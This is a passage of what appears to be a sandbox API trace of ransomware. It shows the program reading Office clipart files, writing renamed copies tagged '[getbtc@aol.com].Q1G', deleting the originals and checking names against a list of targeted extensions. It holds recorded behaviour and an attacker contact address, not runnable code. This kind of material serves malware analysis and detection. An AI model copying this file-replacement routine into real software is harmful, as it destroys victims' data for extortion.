lpNewFilePointer=0x0) returned 1 [0246.825] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0246.825] GetLastError () returned 0x0 [0246.825] ReadFile (in: hFile=0x3bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0xf6c, lpOverlapped=0x0) returned 1 [0246.857] WriteFile (in: hFile=0x398, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xf70, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xf70, lpOverlapped=0x0) returned 1 [0246.858] ReadFile (in: hFile=0x3bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0246.858] WriteFile (in: hFile=0x398, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0246.858] SetEndOfFile (hFile=0x398) returned 1 [0247.338] CloseHandle (hObject=0x398) returned 1 [0247.338] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.338] SetEndOfFile (hFile=0x3bc) returned 1 [0247.340] CloseHandle (hObject=0x3bc) returned 1 [0247.340] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.390] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf")) returned 1 [0247.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0247.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0247.414] lstrlenW (lpString=".doc") returned 4 [0247.414] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.414] lstrlenW (lpString=".docx") returned 5 [0247.414] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.414] lstrlenW (lpString=".pdf") returned 4 [0247.414] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.414] lstrlenW (lpString=".xls") returned 4 [0247.414] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.414] lstrlenW (lpString=".xlsx") returned 5 [0247.414] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.414] lstrlenW (lpString=".ppt") returned 4 [0247.414] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0247.414] lstrlenW (lpString=".zip") returned 4 [0247.414] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.414] lstrlenW (lpString=".rar") returned 4 [0247.415] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.415] lstrlenW (lpString=".bz2") returned 4 [0247.415] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.415] lstrlenW (lpString=".7z") returned 3 [0247.415] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0247.415] lstrlenW (lpString=".dbf") returned 4 [0247.415] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0247.415] lstrlenW (lpString=".1cd") returned 4 [0247.415] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0247.415] lstrlenW (lpString=".jpg") returned 4 [0247.415] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0247.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0247.415] lstrlenW (lpString=".doc") returned 4 [0247.415] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.415] lstrlenW (lpString=".docx") returned 5 [0247.415] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.415] lstrlenW (lpString=".pdf") returned 4 [0247.415] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.415] lstrlenW (lpString=".xls") returned 4 [0247.415] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.415] lstrlenW (lpString=".xlsx") returned 5 [0247.415] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.415] lstrlenW (lpString=".ppt") returned 4 [0247.415] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0247.415] lstrlenW (lpString=".zip") returned 4 [0247.415] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.415] lstrlenW (lpString=".rar") returned 4 [0247.415] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.415] lstrlenW (lpString=".bz2") returned 4 [0247.415] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.415] lstrlenW (lpString=".7z") returned 3 [0247.416] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0247.416] lstrlenW (lpString=".dbf") returned 4 [0247.416] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0247.416] lstrlenW (lpString=".1cd") returned 4 [0247.416] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0247.416] lstrlenW (lpString=".jpg") returned 4 [0247.416] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.416] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0247.416] lstrlenW (lpString="CRANINST.WMF") returned 12 [0247.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0247.482] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=49546) returned 1 [0247.491] CloseHandle (hObject=0x338) returned 1 [0247.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf")) returned 0x20 [0247.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0247.500] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.500] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0247.501] GetLastError () returned 0x0 [0247.501] ReadFile (in: hFile=0x3bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0xc18a, lpOverlapped=0x0) returned 1 [0247.503] WriteFile (in: hFile=0x3ac, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xc190, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xc190, lpOverlapped=0x0) returned 1 [0247.504] ReadFile (in: hFile=0x3bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.504] WriteFile (in: hFile=0x3ac, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.505] SetEndOfFile (hFile=0x3ac) returned 1 [0247.505] CloseHandle (hObject=0x3ac) returned 1 [0247.505] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.505] SetEndOfFile (hFile=0x3bc) returned 1 [0247.507] CloseHandle (hObject=0x3bc) returned 1 [0247.507] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.508] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf")) returned 1 [0247.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0247.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0247.508] lstrlenW (lpString=".doc") returned 4 [0247.508] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.508] lstrlenW (lpString=".docx") returned 5 [0247.508] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0247.508] lstrlenW (lpString=".pdf") returned 4 [0247.508] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.508] lstrlenW (lpString=".xls") returned 4 [0247.509] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.509] lstrlenW (lpString=".xlsx") returned 5 [0247.509] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0247.509] lstrlenW (lpString=".ppt") returned 4 [0247.509] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0247.509] lstrlenW (lpString=".zip") returned 4 [0247.509] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.509] lstrlenW (lpString=".rar") returned 4 [0247.509] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.509] lstrlenW (lpString=".bz2") returned 4 [0247.509] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.509] lstrlenW (lpString=".7z") returned 3 [0247.509] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0247.509] lstrlenW (lpString=".dbf") returned 4 [0247.509] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0247.509] lstrlenW (lpString=".1cd") returned 4 [0247.509] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0247.509] lstrlenW (lpString=".jpg") returned 4 [0247.509] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0247.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0247.509] lstrlenW (lpString=".doc") returned 4 [0247.509] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.510] lstrlenW (lpString=".docx") returned 5 [0247.510] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0247.510] lstrlenW (lpString=".pdf") returned 4 [0247.510] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.510] lstrlenW (lpString=".xls") returned 4 [0247.510] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.510] lstrlenW (lpString=".xlsx") returned 5 [0247.510] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0247.510] lstrlenW (lpString=".ppt") returned 4 [0247.510] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0247.510] lstrlenW (lpString=".zip") returned 4 [0247.510] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.510] lstrlenW (lpString=".rar") returned 4 [0247.510] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.510] lstrlenW (lpString=".bz2") returned 4 [0247.510] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.510] lstrlenW (lpString=".7z") returned 3 [0247.510] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0247.510] lstrlenW (lpString=".dbf") returned 4 [0247.510] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0247.510] lstrlenW (lpString=".1cd") returned 4 [0247.510] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0247.510] lstrlenW (lpString=".jpg") returned 4 [0247.510] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.510] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0247.510] lstrlenW (lpString="DD00234_.WMF") returned 12 [0247.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0247.511] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=29628) returned 1 [0247.511] CloseHandle (hObject=0x3bc) returned 1 [0247.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf")) returned 0x20 [0247.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0247.511] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.511] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0247.512] GetLastError () returned 0x0 [0247.512] ReadFile (in: hFile=0x3bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x73bc, lpOverlapped=0x0) returned 1 [0247.514] WriteFile (in: hFile=0x3ac, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x73c0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x73c0, lpOverlapped=0x0) returned 1 [0247.515] ReadFile (in: hFile=0x3bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.515] WriteFile (in: hFile=0x3ac, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.515] SetEndOfFile (hFile=0x3ac) returned 1 [0247.515] CloseHandle (hObject=0x3ac) returned 1 [0247.515] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.515] SetEndOfFile (hFile=0x3bc) returned 1 [0247.520] CloseHandle (hObject=0x3bc) returned 1 [0247.520] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.521] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf")) returned 1 [0247.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0247.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0247.521] lstrlenW (lpString=".doc") returned 4 [0247.521] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.521] lstrlenW (lpString=".docx") returned 5 [0247.521] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.521] lstrlenW (lpString=".pdf") returned 4 [0247.521] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.521] lstrlenW (lpString=".xls") returned 4 [0247.521] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.521] lstrlenW (lpString=".xlsx") returned 5 [0247.521] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.521] lstrlenW (lpString=".ppt") returned 4 [0247.521] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0247.521] lstrlenW (lpString=".zip") returned 4 [0247.521] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.521] lstrlenW (lpString=".rar") returned 4 [0247.521] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.522] lstrlenW (lpString=".bz2") returned 4 [0247.522] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.522] lstrlenW (lpString=".7z") returned 3 [0247.522] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0247.522] lstrlenW (lpString=".dbf") returned 4 [0247.522] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0247.522] lstrlenW (lpString=".1cd") returned 4 [0247.522] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0247.522] lstrlenW (lpString=".jpg") returned 4 [0247.522] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0247.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0247.522] lstrlenW (lpString=".doc") returned 4 [0247.522] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.522] lstrlenW (lpString=".docx") returned 5 [0247.522] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.522] lstrlenW (lpString=".pdf") returned 4 [0247.522] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.522] lstrlenW (lpString=".xls") returned 4 [0247.522] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.522] lstrlenW (lpString=".xlsx") returned 5 [0247.522] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.522] lstrlenW (lpString=".ppt") returned 4 [0247.522] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0247.522] lstrlenW (lpString=".zip") returned 4 [0247.522] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.522] lstrlenW (lpString=".rar") returned 4 [0247.522] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.522] lstrlenW (lpString=".bz2") returned 4 [0247.522] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.522] lstrlenW (lpString=".7z") returned 3 [0247.522] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0247.522] lstrlenW (lpString=".dbf") returned 4 [0247.522] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0247.523] lstrlenW (lpString=".1cd") returned 4 [0247.523] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0247.523] lstrlenW (lpString=".jpg") returned 4 [0247.523] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.523] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0247.523] lstrlenW (lpString="DD00255_.WMF") returned 12 [0247.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0247.524] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=2690) returned 1 [0247.524] CloseHandle (hObject=0x3bc) returned 1 [0247.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf")) returned 0x20 [0247.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0247.524] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.524] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0247.525] GetLastError () returned 0x0 [0247.525] ReadFile (in: hFile=0x3bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, 